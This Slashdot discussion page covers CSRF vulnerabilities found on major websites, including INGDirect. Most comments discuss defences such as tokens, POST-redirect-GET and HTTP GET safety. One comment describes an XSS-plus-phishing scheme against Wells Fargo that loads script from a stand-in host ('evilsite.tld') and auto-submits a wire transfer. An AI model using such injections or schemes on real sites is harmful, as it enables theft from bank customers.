Slashdot Mirror


CSRF Flaws Found On Major Websites, Including a Bank

An anonymous reader sends a link to DarkReading on the recent announcement by Princeton researchers of four major Web sites on which they found exploitable cross-site request forgery vulnerabilities. The sites are the NYTimes, YouTube, Metafilter, and INGDirect. All but the NYTimes site have patched the hole. "... four major Websites susceptible to the silent-but-deadly cross-site request forgery attack — including one on INGDirect.com's site that would let an attacker transfer money out of a victim's bank account ... Bill Zeller, a PhD candidate at Princeton, says the CSRF bug that he and fellow researcher Edward Felton found on INGDirect.com represents ... 'the first example of a CSRF attack that allows money to be transferred out of a bank account that [we're] aware of.' ... CSRF is little understood in the Web development community, and it is therefore a very common vulnerability on Websites. 'It's basically wherever you look,' says [a security researcher]." Here are Zeller's Freedom to Tinker post and the research paper (PDF).

16 of 143 comments (clear)

  1. Very nasty by Twigmon · · Score: 5, Informative

    This looks like a very nasty attack to defend against. More info:

    http://en.wikipedia.org/wiki/Cross-site_request_forgery

    1. Re:Very nasty by SRowley · · Score: 2, Informative
      The linked paper shows that a few very simple things can defend against this attack altogether:
      • Don't allow GET requests to modify anything
      • Send a pseudorandom token with every form

      It's just not a very well known attack.

    2. Re:Very nasty by Curien · · Score: 3, Informative

      Don't allow GET requests to modify anything

      That doesn't protect you. Sure, it prevents the img tag vector, but it doesn't stop an attacker from convincing users to submit an arbitrary form.

      Send a pseudorandom token with every form

      As far as I can tell, that's the only solution that doesn't rely on Javascript shenanigans, but it doesn't really stop it. All it does is reduce the problem to a cryptographic attack -- which is subject to brute force.

      --
      It's always a long day... 86400 doesn't fit into a short.
  2. Details and Examples by nmb3000 · · Score: 5, Informative

    For anyone curious, Jeff Atwood of Coding Horror recently wrote about them in his blog. Included are some additional details and a couple of examples.

    At face value it's a somewhat obvious exploit, but still interesting.

    --
    "What do you despise? By this are you truly known." --Princess Irulan, Manual of Muad'Dib
    /)
  3. The Cross-site request forgery FAQ by mrkitty · · Score: 4, Informative
    --
    Believe me, if I started murdering people, there would be none of you left.
  4. Re:Wouldn't a referrer check also counter this? by Anonymous Coward · · Score: 1, Informative

    The referer field is optional and unreliable. It should never be used for security.

  5. Very easy by SanityInAnarchy · · Score: 3, Informative

    Ruby On Rails has prevented this, by default, for almost a year:

    http://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html

    That not only prevents against the image hack, it also prevents against things like a hidden form in an iframe.

    Granted, it's still possible for you to do stupid things with GET requests, and it's possible you could turn it off entirely. But it's pretty trivial to stay safe here.

    And no, there's not really going to be a sane way for browsers to protect you from this, unless you've left on all the annoying "You are about to send data over the internet!!!1!one" warnings. This is really going to be up to site admins to fix.

    --
    Don't thank God, thank a doctor!
    1. Re:Very easy by SanityInAnarchy · · Score: 2, Informative

      My boast wasn't about Ruby, it was pointing out the trivialty of the problem.

      If Microsoft has actually done this, and done it right, for five and a half years, great! It means even less of an excuse for anyone to get it wrong.

      --
      Don't thank God, thank a doctor!
  6. Transfer money where? by z0idberg · · Score: 5, Informative

    including one on INGDirect.com's site that would let an attacker transfer money out of a victim's bank account

    With my INGdirect account (in Australia) you can only transfer your savings back into your normal bank account that is associated with the ING account. So I don't think an an attacker could actually transfer money out to somewhere they could get it. Associating another bank account with the ING account requires more than just logging in to your ING account (phone/written permission etc. IIRC).

    The attacker would be able to cause some inconvenience and will get your bank account number etc. but I can't see how they would actually get your money.

  7. Re:Does this actually say anything? by Anonymous Coward · · Score: 1, Informative

    There's a direct link to the research paper in the summary. There's also a link in the first paragraph of the article. It says plenty, you just need to look. :)

    Is it possible that this refers to Cross-Site Scripting?

    No, the article states categorically that this is not cross-site scripting.

  8. Re:Does this actually say anything? by moniker127 · · Score: 2, Informative

    Its hard to tell, but my guess is that its regular old post values.

    Almost all forms on the internet are powered by the html tag. Inside of this , different fields are indicated by s.

    These inputs are either manipulated by javascript, or sent to another page. There are two ways to send them to another page with strait HTML.

    The first is called GET. It sends it by putting a ? on the end of the page, and then just listing the values. it will look like http://www.google.com?q=123 . q is the name of the field, 123 is the value of the field.

    The second is called POST. This sends the field values to the other page without displaying them in the address bar. This is the more common method.

    The attack they are reffering to is using your own input fields on your own web page to exploit specific holes in the design of the target website.

    For example: a page has a form asking you if you want to go to the main page, the news page, or the forum. When you select the news page from the dropdown, and submit the form, it sends you (and your choise of page) to a page that handels your request. The page that handels your request pretty much just says "Oh, i see you want to go to the news, well, here you go", and it redirects you there.

    But what if that page that handels the request knows other pages that just arent in the dropdown menu? well, if you want to go to those pages, you would write your own form, point it to the page that handels the request, and then make your own drop down that says you want to go to the "ubersecretwtfpwn" page. The page that handels the request says "Well, okay, here you go.", and sends you there. It has no idea its not normally an option for you.

    Short version: People roll their own forms to send false information.

  9. Re:Computer systems need security audits. by tuma · · Score: 5, Informative

    GET requests in practice change stuff on the server. Making everything POSTs is just annoying - you get all those "click OK to resubmit form" messages and you don't even know what form it is.

    I agree that the "click OK to resubmit form" messages are annoying - and dangerous, because your average user has no idea what the message means, or what the implications might be of clicking OK.

    Fortunately, there is an extremely simple paradigm that works beautifully:

    1. When an HTTP request is going to change something on the server, make it a POST request.
    2. The server receives the POST request, and updates internal state, etc. When it is finished handling the internal changes (either successfully or not), it does NOT print an HTML page. Instead, it prints a REDIRECT message telling the web browser the next page it should GET. (You're the author of the web app, so you can build whatever ultra-specific URL you want here.)
    3. The web browser GETs the specified page and displays it, showing whatever HTML you deem to be appropriate as the result of the POSTed change.

    At the conclusion of this interchange, the user's browsing history only contains the GET page that was displayed before the POST, followed by the GET page showing the results. They can freely use their forward and back buttons to navigate within their history with no ill effect, and they will never see a "resubmit form?" question from their browser.

    I use this paradigm 100% of the time. You receive tremendous benefits by respecting the documented/intended behavior of GET/POST (e.g. no problems with caching or prefetch, and when a user intentionally resubmits a POST operation it will truly be resubmitted to the server), without the painful "resubmit form?" redux.

    --
    If you lived on /. , you'd be home now!
  10. Re:Wouldn't a referer check also counter this? by lysergic.acid · · Score: 2, Informative

    hrmm... i was not aware of this. i thought XMLHttpRequest could not be executed across domains. this seems like a pretty serious security design flaw.

    i mean, shouldn't the same origin security policy prevent XMLHttpRequest from making requests across domains? i remember when i wrote AJAX applications in the past that i couldn't even call XMLHttpRequest on a subdomain.

  11. Re:Computer systems need security audits. by evanbd · · Score: 4, Informative

    The spec is a little odd in this regard. It says that GETs should be idempotent -- repeating the request shouldn't change anything. That is not the same as saying that performing the request the first time shouldn't change anything. For example, clicking a "remove this from my shopping cart" link twice would have the same result as only doing it once -- the item is gone. But the request is still idempotent. That doesn't mean that you should do that, but it does conform to spec.

  12. Unsurprising by karmatic · · Score: 4, Informative

    This really isn't that surprising. A number of years ago, I was in a Wells Fargo branch; their kiosks are limited to showing only wellsfargo.com.

    So, in an attempt to get to another site, I typed some HTML into the search box on their homepage, and pretty much every page on their site. Sure enough, it inserted the HTML into the page without any problems.

    So, I got home, and whipped up a phishing email. It went to wellsfargo.com, used a little javascript to do a popunder, and set window.location to wellsfargo.com. The popunder self-refreshed every few seconds, and checked the cookies to see when the user had logged in. After the user logs in, it waits 9 minutes (auto-logout was 10 minutes), and then would build a form to initiate a wire transfer, and submit it - while the user was still logged in. It would then close the popunder.

    So, with a simple link to a search for something like <script src="http://evilsite.tld">, I could take complete control over someone's bank account. This would be easy to pull off with an email saying something like "We have detected suspicious activity; click here to log on to wellsfargo.com". It really would take them to wellsfargo.com, and they could log in. You don't need a user/password if you control the browser.

    I let them know that day, and explained how one escapes HTML. To their credit, it was fixed in a very short period of time. That still doesn't excuse that 1) they should know better, and 2) if you're going to check anything, it should be the one form that's on every page.

  13. Re:Computer systems need security audits. by Bogtha · · Score: 2, Informative

    The spec is a little odd in this regard. It says that GETs should be idempotent -- repeating the request shouldn't change anything. That is not the same as saying that performing the request the first time shouldn't change anything.

    Have you actually read the spec? Yes, it says that GET requests should be idempotent. It also says that GET requests should be safe. These are two different things. Saying that it requires GET requests to be idempotent, but this doesn't mean that they should be safe is technically true, but ignorant of what the specification actually says.

    For example, clicking a "remove this from my shopping cart" link twice would have the same result as only doing it once -- the item is gone. But the request is still idempotent. That doesn't mean that you should do that, but it does conform to spec.

    Straight from the spec:

    Implementors should be aware that the software represents the user in their interactions over the Internet, and should be careful to allow the user to be aware of any actions they might take which may have an unexpected significance to themselves or others.

    In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe". This allows user agents to represent other methods, such as POST, PUT and DELETE, in a special way, so that the user is made aware of the fact that a possibly unsafe action is being requested.

    Naturally, it is not possible to ensure that the server does not generate side-effects as a result of performing a GET request; in fact, some dynamic resources consider that a feature. The important distinction here is that the user did not request the side-effects, so therefore cannot be held accountable for them.

    --
    Bogtha Bogtha Bogtha